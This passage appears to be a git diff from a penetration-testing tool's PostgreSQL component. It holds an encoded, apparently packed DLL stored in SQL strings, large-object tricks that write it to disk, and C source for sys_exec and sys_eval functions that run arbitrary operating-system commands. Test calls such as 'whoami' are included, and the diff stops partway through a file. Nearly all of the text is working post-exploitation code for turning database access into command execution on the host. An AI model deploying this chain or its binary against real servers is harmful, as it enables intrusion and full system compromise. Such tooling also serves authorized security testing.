data=data||'2wd53IRnk9xsmFnZTttt/u8WBt332BvA99hZSF1WuLwYvgQaHX/pV1A7xnMPiwdTAlA5rPQO1jv+cvEwJSALEinkIE9pDd6+ETUIuE1aLmY5AXP/8u9KWGhBPAPBgThQRXXvM9K5CwEbdoN/HEgYD5Tnwl07PyW+NS3dSDHID7dBRaVLbLdWBXEGM1cACBgR/98ajXbkoBwMO/lyCYtYCAPZO/sztd/gcgpCnCg71nLoat9ONh8O2U9q/qNwaNVkGOYbOBICUIPsCCnpu+HWMWYzxXDwZKMaiTAMFj5DTAloT/BwfV1nYuwS71WXLRNQt2iWhxkILAg7KyTBFYJw4egf9w/gAYkD1HbbqU8dAFmUi+WWKdaxnZ0Byj2pwPqdYmUt2C+7MUZGxk43PAVAREzG8uOSqRKwEOwJZbN2ch0Qyar776UWBh5a/T6UM5dttmwDjSvg+vzxQLAGmjyu/IrZwCbBdw3DlZYzHBzGUU4Ued6xfOh2aQISBCAUCqoYka3Y71yj7BBogvg7aA7+U1e/TuZAu35mfA2F6KdCicMrNZQE62C2xKRW43hjEXWYxhaKtZILl/AHNNHMlUEInSe++1vbOPQzDBE793UHvk9Z6wuF83XsEfgup8HgEAvwyAD31gfGRih9BF5fW7o/mAWcRkZGRlhcYGgAAGRHVAAA1CgV8gIhAI10Z9l9pRQRIgNkA0Bl0AzSAXJIXf///RJREhBLUlNEUwG3/T9I581Otf//N//blFHkL74MDGM6XERvY3VtZW50cyBhbmQgU2X//9v/dHRpbmdzXEFkbQdpc3RyYXRvci5XMkszU1RFTv63t/ZVUERBBjNlc2sWcFxzaGFyZVx2/O3/3yZ1YWxfY3BwX3Byb2plY3Q+bGliX3Bv/f//tmcfc3FsdWRmX3N5c184MlxSZWxlYXNlIMd+gSAucGRi0dUZbPK9WHcH0A91g3WVq6EHbQOBAzslhyfMB30PJNGdsNgfCQsDH9AogwAAAn0DpaLtsRm/RP+q'; +-- UPDATE udftest SET data=data||'iiSCAIAAAGAw/woqwEIU//+XZ3gQAUdldEN1cnJlbnRQcm9jZXNzvf//yElkU3lzdGVtVGltZUFzRmlsZQn+1n6LGAhja0NvdS8NUXVlcnlQrcXa3wNmb3JtYW48Fg4Y3/6t+0Rpc2FiM2hXYWRMaWJyYSdDYWxsXCv/t3NvSXNEZWJ1Z2dlcm127W172VRTVW5oQGQxZEV4Rq2wmPtwdGlvbnNKGQTQtpS5ElQXtm+ytkRhHhFJkGwMa8257dZAnW1wh2VHUX9Zwlpzd1VRIhtCYbZsXMQVM6y7Pc2FPF9jaXQ0bQrXtu8GXzRfYW1zZwh4EQvtd7/wZGp1Ql9mZGl2DV9DcHBYY78JoP1hvF9kZWNvA5HctjBhaTJdbR55GGxr7xVCizL1CW5NESYLFhMPZQ2+dvuEXxtyNF9MbW0cGG5bs2v/V2RfbnU9RG1hYx5ye25hYzRuc9gdCMZuhm1m8nQsrnJuhHPN3O0d/N0qcGVVRV5zhfYPYwe0MDrvsdsE51bIzotvb7aGoX1rIlZuX3R5ORwaFlsotIkVil9yCp49zcJsRpGkcEVwZwFccO9DdG9hc0u6dW3///9nVhAzGAksFiMtCxcpERcRB4YGBhcJBwUWDB5/+///CAoLFgkYGBUFBhsFDBAGBxcGIQURDwYUIRELCCff/7crIgUHDREdDRhTLUg4BgAHCLJt3y4MCTMKCQsMWwUWFu7f/u0OCzQVCxgWDT0FQrwFEh4UBmky2d7N/xEMDh1NBRcjDQwkCAtEAvBvKvh/NARgBOgIBBwcBAAyTAEFAC3/YfVTHoNJNOAAAiELAQkMCJj9JlsArBULbOa+9xoJCwLeHgf3uzTfA2AEc4IeQAEqbM+WvQIHBnAmB7hmtm/ZjCJQFEBPsACrZntTUJ930BzVtyx2IBghQgAvbPMDSbAudGV4dLoKkMNDNhsMt0JgLnLLLWGQW2H7KAcIE7rvNYcCQC4m/gOUMLhN2WkCJ8BPc3Jg3wvWgOuwcxpPzc3RCFKp'; +-- UPDATE udftest SET data=data||'T4wBUPtNySAeQhuMIxIAAHxyoVJTAAASAAAA/wAAAACAfCQIAQ+FuQEAAGC+AHAAEI2+AKD//1eDzf/rDZCQkIoGRogHRwHbdQeLHoPu/BHbcu24AQAAAAHbdQeLHoPu/BHbEcAB23PvdQmLHoPu/BHbc+QxyYPoA3INweAIigZGg/D/dHSJxQHbdQeLHoPu/BHbEckB23UHix6D7vwR2xHJdSBBAdt1B4seg+78EdsRyQHbc+91CYseg+78Edtz5IPBAoH9APP//4PRAY0UL4P9/HYPigJCiAdHSXX36WP///+QiwKDwgSJB4PHBIPpBHfxAc/pTP///16J97ktAAAAigdHLOg8AXf3gD8AdfKLB4pfBGbB6AjBwBCGxCn4gOvoAfCJB4PHBYjY4tmNvgBQAACLBwnAdDyLXwSNhDC0cgAAAfNQg8cI/5YEcwAAlYoHRwjAdNyJ+VdI8q5V/5YIcwAACcB0B4kDg8ME6+FhMcDCDACDxwSNXvwxwIoHRwnAdCI873cRAcOLA4bEwcAQhsQB8IkD6+IkD8HgEGaLB4PHAuvii64McwAAjb4A8P//uwAQAABQVGoEU1f/1Y2HBwIAAIAgf4BgKH9YUFRQU1f/1VhhjUQkgGoAOcR1+oPsgOnDmP//AAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAEBAiABABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; +-- UPDATE udftest SET data=data||'AAAAAAAAAAAEAAAAAAABABgAAAAYAACAAAAAAAAAAAAEAAAAAAABAAIAAAAwAACAAAAAAAAAAAAEAAAAAAABAAkEAABIAAAAXIAAAFYCAADkBAAAAAAAAFhAAAA8YXNzZW1ibHkgeG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYxIiBtYW5pZmVzdFZlcnNpb249IjEuMCI+DQogIDx0cnVzdEluZm8geG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj4NCiAgICA8c2VjdXJpdHk+DQogICAgICA8cmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsIGxldmVsPSJhc0ludm9rZXIiIHVpQWNjZXNzPSJmYWxzZSI+PC9yZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbD4NCiAgICAgIDwvcmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICA8L3NlY3VyaXR5Pg0KICA8L3RydXN0SW5mbz4NCiAgPGRlcGVuZGVuY3k+DQogICAgPGRlcGVuZGVudEFzc2VtYmx5Pg0KICAgICAgPGFzc2VtYmx5SWRlbnRpdHkgdHlwZT0id2luMzIiIG5hbWU9Ik1pY3Jvc29mdC5WQzkwLkNSVCIgdmVyc2lvbj0iOS4wLjIxMDIyLjgiIHByb2Nlc3NvckFyY2hpdGVjdHVyZT0ieDg2IiBwdWJsaWNLZXlUb2tlbj0iMWZjOGIzYjlhMWUxOGUzYiI+PC9hc3NlbWJseUlkZW50aXR5Pg0KICAgIDwvZGVwZW5kZW50QXNzZW1ibHk+DQogIDwvZGVwZW5kZW5jeT4NCjwvYXNzZW1ibHk+UEEAAAAAAAAAAAAAAAAsgwAABIMAAAAAAAAAAAAAAAAAADmDAAAcgwAAAAAAAAAAAAAAAAAARYMAACSDAAAAAAAAAAAAAAAAAAAAAAAA'; +-- UPDATE udftest SET data=data||'AAAAAFKDAABggwAAcIMAAICDAACOgwAAAAAAAJyDAAAAAAAAooMAAAAAAABLRVJORUwzMi5ETEwATVNWQ1I5MC5kbGwAcG9zdGdyZXMuZXhlAAAATG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAAVmlydHVhbFByb3RlY3QAAFZpcnR1YWxBbGxvYwAAVmlydHVhbEZyZWUAAABmcmVlAABwZnJlZQAAAAAAAABTHoNJAAAAAAaEAAABAAAABQAAAAUAAADUgwAA6IMAAPyDAAAAEAAAkBAAABAQAACgEAAAIBAAACCEAAAuhAAAQIQAAFKEAABbhAAAAAABAAIAAwAEAGxpYl9wb3N0Z3Jlc3FsdWRmX3N5cy5kbGwAUGdfbWFnaWNfZnVuYwBwZ19maW5mb19zeXNfZXZhbABwZ19maW5mb19zeXNfZXhlYwBzeXNfZXZhbABzeXNfZXhlYwAAcAAAEAAAAC07KD0sPQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; + + +-- Create a new OID for a large object, it implicitly adds an entry in the +-- PostgreSQL large objects system table +-- +-- References: +-- http://www.postgresql.org/docs/8.3/interactive/largeobjects.html +-- http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html +SELECT lo_unlink(35817); +SELECT lo_create(35817); + + +-- Update the PostgreSQL system large objects table assigning to the just +-- created OID the binary (base64 decoded) UDF as data +-- +-- Refereces: +-- http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql +UPDATE pg_largeobject SET data=(DECODE((SELECT data FROM udftest), 'base64')) WHERE loid=35817; + + +-- Export the binary UDF OID to a file on the file system +-- +-- Any folder where postgres user has read/write/execute access is valid +-- SELECT lo_export(35817, E'C:\\Documents and Settings\\postgres\\lib_postgresqludf_sys.dll'); +-- +-- Notes: +-- If the library file already exists, the user postgres does not have +-- access to overwrite it +-- The following enumerates the PostgreSQL data directory +-- SELECT CURRENT_SETTING('data_directory') +-- Reference: +-- http://www.postgresql.org/docs/8.3/interactive/functions-admin.html +-- The following will save into C:\Program Files\PostgreSQL\8.3\data +SELECT lo_export(35817, 'lib_postgresqludf_sys.dll'); -- Favourite one, no need to enumerate the PostgreSQL data directory before +-- The following will save into nowhere +-- SELECT lo_export(35817, E'\lib_postgresqludf_sys.dll'); +-- The following would save into C:\ (Permission denied) +-- SELECT lo_export(35817, E'\\lib_postgresqludf_sys.dll'); + + +-- Create two functions from the binary UDF file +-- CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS E'C:\\Documents and Settings\\postgres\\lib_postgresqludf_sys.dll', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; +-- CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS E'C:\\Documents and Settings\\postgres\\lib_postgresqludf_sys.dll', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; +CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; +CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS 'lib_postgresqludf_sys.dll', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; + + +-- Test the two functions +SELECT sys_exec('echo test > %TEMP%/lib_postgresqludf_sys.txt'); -- %TEMP% path is C:\Documents and Settings\postgres\Local Settings\Temp +SELECT sys_eval('echo %TEMP% && whoami'); + + +-- Cleanup the file system and the database +SELECT sys_exec('del %TEMP%\\lib_postgresqludf_sys.*'); +DROP TABLE IF EXISTS udftest; +DROP FUNCTION IF EXISTS sys_exec(text); +DROP FUNCTION IF EXISTS sys_eval(text); diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/Makefile b/extra/postgresqludfsys/lib_postgresqludf_sys/Makefile deleted file mode 100644 index 05252cf31..000000000 --- a/extra/postgresqludfsys/lib_postgresqludf_sys/Makefile +++ /dev/null @@ -1,4 +0,0 @@ -LIBDIR=/usr/lib - -install: - gcc -Wall -I/usr/include/postgresql/8.3/server -I. -shared lib_postgresqludf_sys.c -o $(LIBDIR)/lib_postgresqludf_sys.so diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/lib_postgresqludf_sys.so b/extra/postgresqludfsys/lib_postgresqludf_sys/lib_postgresqludf_sys.so deleted file mode 100755 index ddb1925d3..000000000 Binary files a/extra/postgresqludfsys/lib_postgresqludf_sys/lib_postgresqludf_sys.so and /dev/null differ diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/Makefile b/extra/postgresqludfsys/lib_postgresqludf_sys/linux/Makefile new file mode 100644 index 000000000..006bd245b --- /dev/null +++ b/extra/postgresqludfsys/lib_postgresqludf_sys/linux/Makefile @@ -0,0 +1,11 @@ +LIBDIR=/tmp + +8.2: + gcc -Wall -I/usr/include/postgresql/8.2/server -O1 -shared src/8.2/lib_postgresqludf_sys.c -o so/8.2/lib_postgresqludf_sys.so + strip -sx so/8.2/lib_postgresqludf_sys.so + cp -f so/8.2/lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so + +8.3: + gcc -Wall -I/usr/include/postgresql/8.3/server -O1 -shared src/8.3/lib_postgresqludf_sys.c -o so/8.3/lib_postgresqludf_sys.so + strip -sx so/8.3/lib_postgresqludf_sys.so + cp -f so/8.3/lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/install.sh b/extra/postgresqludfsys/lib_postgresqludf_sys/linux/install.sh similarity index 80% rename from extra/postgresqludfsys/lib_postgresqludf_sys/install.sh rename to extra/postgresqludfsys/lib_postgresqludf_sys/linux/install.sh index e645f723a..56df333d5 100755 --- a/extra/postgresqludfsys/lib_postgresqludf_sys/install.sh +++ b/extra/postgresqludfsys/lib_postgresqludf_sys/linux/install.sh @@ -1,30 +1,41 @@ #!/bin/bash -# lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions -# Copyright (C) 2009 Bernardo Damele A. G. -# web: http://bernardodamele.blogspot.com/ -# email: bernardo.damele@gmail.com -# -# This library is free software; you can redistribute it and/or -# modify it under the terms of the GNU Lesser General Public -# License as published by the Free Software Foundation; either -# version 2.1 of the License, or (at your option) any later version. -# -# This library is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public -# License along with this library; if not, write to the Free Software -# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA +# lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions +# Copyright (C) 2009 Bernardo Damele A. G. +# web: http://bernardodamele.blogspot.com/ +# email: bernardo.damele@gmail.com +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + +# Adapt the following settings to your environment +PORT="5432" +VERSION="8.3" +USER="postgres" echo "Compiling the PostgreSQL UDF" -make +make ${VERSION} if test $? -ne 0; then - echo "ERROR: You need postgresql-server development software installed " + echo "ERROR: You need postgresql-server development software installed" echo "to be able to compile this UDF, on Debian/Ubuntu just run:" - echo "apt-get install postgresql-server-dev-8.3" + + if test "${VERSION}" == "8.2"; then + echo "apt-get install postgresql-server-dev-8.2" + else + echo "apt-get install postgresql-server-dev-8.3" + fi + exit 1 else echo "PostgreSQL UDF compiled successfully" @@ -32,8 +43,7 @@ fi echo -e "\nPlease provide your PostgreSQL 'postgres' user's password" -/usr/lib/postgresql/8.3/bin/psql -h 127.0.0.1 -p 5432 -U postgres -q template1 < lib_postgresqludf_sys.sql -#psql -h 127.0.0.1 -p 5432 -U postgres -q template1 < lib_postgresqludf_sys.sql +psql -h 127.0.0.1 -p ${PORT} -U ${USER} -q template1 < lib_postgresqludf_sys.sql if test $? -ne 0; then echo "ERROR: unable to install the UDF" diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/lib_postgresqludf_sys.sql b/extra/postgresqludfsys/lib_postgresqludf_sys/linux/lib_postgresqludf_sys.sql similarity index 75% rename from extra/postgresqludfsys/lib_postgresqludf_sys/lib_postgresqludf_sys.sql rename to extra/postgresqludfsys/lib_postgresqludf_sys/linux/lib_postgresqludf_sys.sql index 1a86e984f..ad26ff250 100644 --- a/extra/postgresqludfsys/lib_postgresqludf_sys/lib_postgresqludf_sys.sql +++ b/extra/postgresqludfsys/lib_postgresqludf_sys/linux/lib_postgresqludf_sys.sql @@ -19,5 +19,5 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ -CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/usr/lib/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; -CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/usr/lib/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; +CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; +CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/so/8.2/lib_postgresqludf_sys.so b/extra/postgresqludfsys/lib_postgresqludf_sys/linux/so/8.2/lib_postgresqludf_sys.so new file mode 100644 index 000000000..b5301e17d Binary files /dev/null and b/extra/postgresqludfsys/lib_postgresqludf_sys/linux/so/8.2/lib_postgresqludf_sys.so differ diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/so/8.3/lib_postgresqludf_sys.so b/extra/postgresqludfsys/lib_postgresqludf_sys/linux/so/8.3/lib_postgresqludf_sys.so new file mode 100755 index 000000000..ae2a12601 Binary files /dev/null and b/extra/postgresqludfsys/lib_postgresqludf_sys/linux/so/8.3/lib_postgresqludf_sys.so differ diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/linux/src/8.2/lib_postgresqludf_sys.c b/extra/postgresqludfsys/lib_postgresqludf_sys/linux/src/8.2/lib_postgresqludf_sys.c new file mode 100755 index 000000000..aee918632 --- /dev/null +++ b/extra/postgresqludfsys/lib_postgresqludf_sys/linux/src/8.2/lib_postgresqludf_sys.c @@ -0,0 +1,111 @@ +/* + lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions + Copyright (C) 2009 Bernardo Damele A. G. + web: http://bernardodamele.blogspot.com/ + email: bernardo.damele@gmail.com + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +#define _USE_32BIT_TIME_T +#define DLLEXP __declspec(dllexport) +#define BUILDING_DLL 1 +#else +#define DLLEXP +#endif + +#include <postgres.h> +#include <fmgr.h> +#include <stdlib.h> + +#include <ctype.h> + +#ifdef PG_MODULE_MAGIC +PG_MODULE_MAGIC; +#endif + +PG_FUNCTION_INFO_V1(sys_exec); +extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { + text *argv0 = PG_GETARG_TEXT_P(0); + int32 argv0_size; + int32 result = 0; + char *command; + + argv0_size = VARSIZE(argv0) - VARHDRSZ; + command = (char *)malloc(argv0_size + 1); + + memcpy(command, VARDATA(argv0), argv0_size); + command[argv0_size] = '\0'; + + /* + Only if you want to log + elog(NOTICE, "Command execution: %s", command); + */ + + result = system(command); + free(command); + + PG_FREE_IF_COPY(argv0, 0); + PG_RETURN_INT32(result); +} + +PG_FUNCTION_INFO_V1(sys_eval); +extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { + text *argv0 = PG_GETARG_TEXT_P(0); + text *result_text; + int32 argv0_size; + char *command; + char *result; + FILE *pipe; + char line[1024]; + int32 outlen, linelen; + + argv0_size = VARSIZE(argv0) - VARHDRSZ; + command = (char *)malloc(argv0_size + 1); + + memcpy(command, VARDATA(argv0), argv0_size); + command[argv0_size] = '\0'; + + /* + Only if you want to log + elog(NOTICE, "Command evaluated: %s", command); + */ + + result = (char *)malloc(1); + outlen = 0; + + pipe = popen(command, "r"); + + while (fgets(line, sizeof(line), pipe) != NULL) { + linelen = strlen(line); + result = (char *)realloc(result, outlen + linelen); + strncpy(result + outlen, line, linelen); + outlen = outlen + linelen; + } + + pclose(pipe); + + if (*result) { + result[outlen-1] = 0x00; + } + + result_text = (text *)malloc(VARHDRSZ + strlen(result)); + VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ; + //SET_VARSIZE(result_text, VARHDRSZ + strlen(result)); + memcpy(VARDATA(result_text), result, strlen(result)); + + PG_RETURN_POINTER(result_text); +} \ No newline at end of file diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/lib_postgresqludf_sys.c b/extra/postgresqludfsys/lib_postgresqludf_sys/linux/src/8.3/lib_postgresqludf_sys.c similarity index 74% rename from extra/postgresqludfsys/lib_postgresqludf_sys/lib_postgresqludf_sys.c rename to extra/postgresqludfsys/lib_postgresqludf_sys/linux/src/8.3/lib_postgresqludf_sys.c index 8d3d36656..b07fbb56c 100644 --- a/extra/postgresqludfsys/lib_postgresqludf_sys/lib_postgresqludf_sys.c +++ b/extra/postgresqludfsys/lib_postgresqludf_sys/linux/src/8.3/lib_postgresqludf_sys.c @@ -18,70 +18,80 @@ License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ - -#include <stdlib.h> -#include <postgres.h> -#include <fmgr.h> - -#ifdef PG_MODULE_MAGIC -PG_MODULE_MAGIC; -#endif - -PG_FUNCTION_INFO_V1(sys_exec); -Datum sys_exec(PG_FUNCTION_ARGS) { - text *argv0 = PG_GETARG_TEXT_P(0); - int32 argv0_size; - int32 result = 0; - char *command; - - argv0_size = VARSIZE(argv0) - VARHDRSZ; - command = (char *)palloc(argv0_size + 1); - - memcpy(command, VARDATA(argv0), argv0_size); - command[argv0_size] = '\0'; - - /* - Only if you want to log - elog(NOTICE, "Command execution: %s", command); - */ - - result = system(command); - pfree(command); - - PG_FREE_IF_COPY(argv0, 0); - PG_RETURN_INT32(result); -} - -PG_FUNCTION_INFO_V1(sys_eval); -Datum sys_eval(PG_FUNCTION_ARGS) { - text *argv0 = PG_GETARG_TEXT_P(0); - text *result_text; - int32 argv0_size; - char *command; - char *result; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +#define _USE_32BIT_TIME_T +#define DLLEXP __declspec(dllexport) +#define BUILDING_DLL 1 +#else +#define DLLEXP +#endif + +#include <postgres.h> +#include <fmgr.h> +#include <stdlib.h> + +#include <ctype.h> + +#ifdef PG_MODULE_MAGIC +PG_MODULE_MAGIC; +#endif + +PG_FUNCTION_INFO_V1(sys_exec); +extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { + text *argv0 = PG_GETARG_TEXT_P(0); + int32 argv0_size; + int32 result = 0; + char *command; + + argv0_size = VARSIZE(argv0) - VARHDRSZ; + command = (char *)malloc(argv0_size + 1); + + memcpy(command, VARDATA(argv0), argv0_size); + command[argv0_size] = '\0'; + + /* + Only if you want to log + elog(NOTICE, "Command execution: %s", command); + */ + + result = system(command); + free(command); + + PG_FREE_IF_COPY(argv0, 0); + PG_RETURN_INT32(result); +} + +PG_FUNCTION_INFO_V1(sys_eval); +extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { + text *argv0 = PG_GETARG_TEXT_P(0); + text *result_text; + int32 argv0_size; + char *command; + char *result; FILE *pipe; char line[1024]; int32 outlen, linelen; - argv0_size = VARSIZE(argv0) - VARHDRSZ; - command = (char *)palloc(argv0_size + 1); - - memcpy(command, VARDATA(argv0), argv0_size); - command[argv0_size] = '\0'; - - /* - Only if you want to log - elog(NOTICE, "Command evaluated: %s", command); - */ - - result = malloc(1); + argv0_size = VARSIZE(argv0) - VARHDRSZ; + command = (char *)malloc(argv0_size + 1); + + memcpy(command, VARDATA(argv0), argv0_size); + command[argv0_size] = '\0'; + + /* + Only if you want to log + elog(NOTICE, "Command evaluated: %s", command); + */ + + result = (char *)malloc(1); outlen = 0; pipe = popen(command, "r"); while (fgets(line, sizeof(line), pipe) != NULL) { linelen = strlen(line); - result = realloc(result, outlen + linelen); + result = (char *)realloc(result, outlen + linelen); strncpy(result + outlen, line, linelen); outlen = outlen + linelen; } @@ -89,12 +99,13 @@ Datum sys_eval(PG_FUNCTION_ARGS) { pclose(pipe); if (*result) { - result[outlen] = 0x00; + result[outlen-1] = 0x00; } - - result_text = (text *)palloc(VARHDRSZ + strlen(result)); - SET_VARSIZE(result_text, VARHDRSZ + strlen(result)); - memcpy(VARDATA(result_text), result, strlen(result)); - - PG_RETURN_POINTER(result_text); -} + + result_text = (text *)malloc(VARHDRSZ + strlen(result)); + //VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ; + SET_VARSIZE(result_text, VARHDRSZ + strlen(result)); + memcpy(VARDATA(result_text), result, strlen(result)); + + PG_RETURN_POINTER(result_text); +} diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/dll/8.2/lib_postgresqludf_sys.dll b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/dll/8.2/lib_postgresqludf_sys.dll new file mode 100755 index 000000000..b47f15c51 Binary files /dev/null and b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/dll/8.2/lib_postgresqludf_sys.dll differ diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/dll/8.3/lib_postgresqludf_sys.dll b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/dll/8.3/lib_postgresqludf_sys.dll new file mode 100755 index 000000000..875aa45c6 Binary files /dev/null and b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/dll/8.3/lib_postgresqludf_sys.dll differ diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/lib_postgresqludf_sys.sql b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/lib_postgresqludf_sys.sql new file mode 100644 index 000000000..f129ab905 --- /dev/null +++ b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/lib_postgresqludf_sys.sql @@ -0,0 +1,23 @@ +/* + lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions + Copyright (C) 2009 Bernardo Damele A. G. + web: http://bernardodamele.blogspot.com/ + email: bernardo.damele@gmail.com + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; +CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS 'lib_postgresqludf_sys.dll', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE; diff --git a/extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.2/lib_postgresqludf_sys.c b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.2/lib_postgresqludf_sys.c new file mode 100755 index 000000000..aee918632 --- /dev/null +++ b/extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.2/lib_postgresqludf_sys.c @@ -0,0 +1,111 @@ +/* + 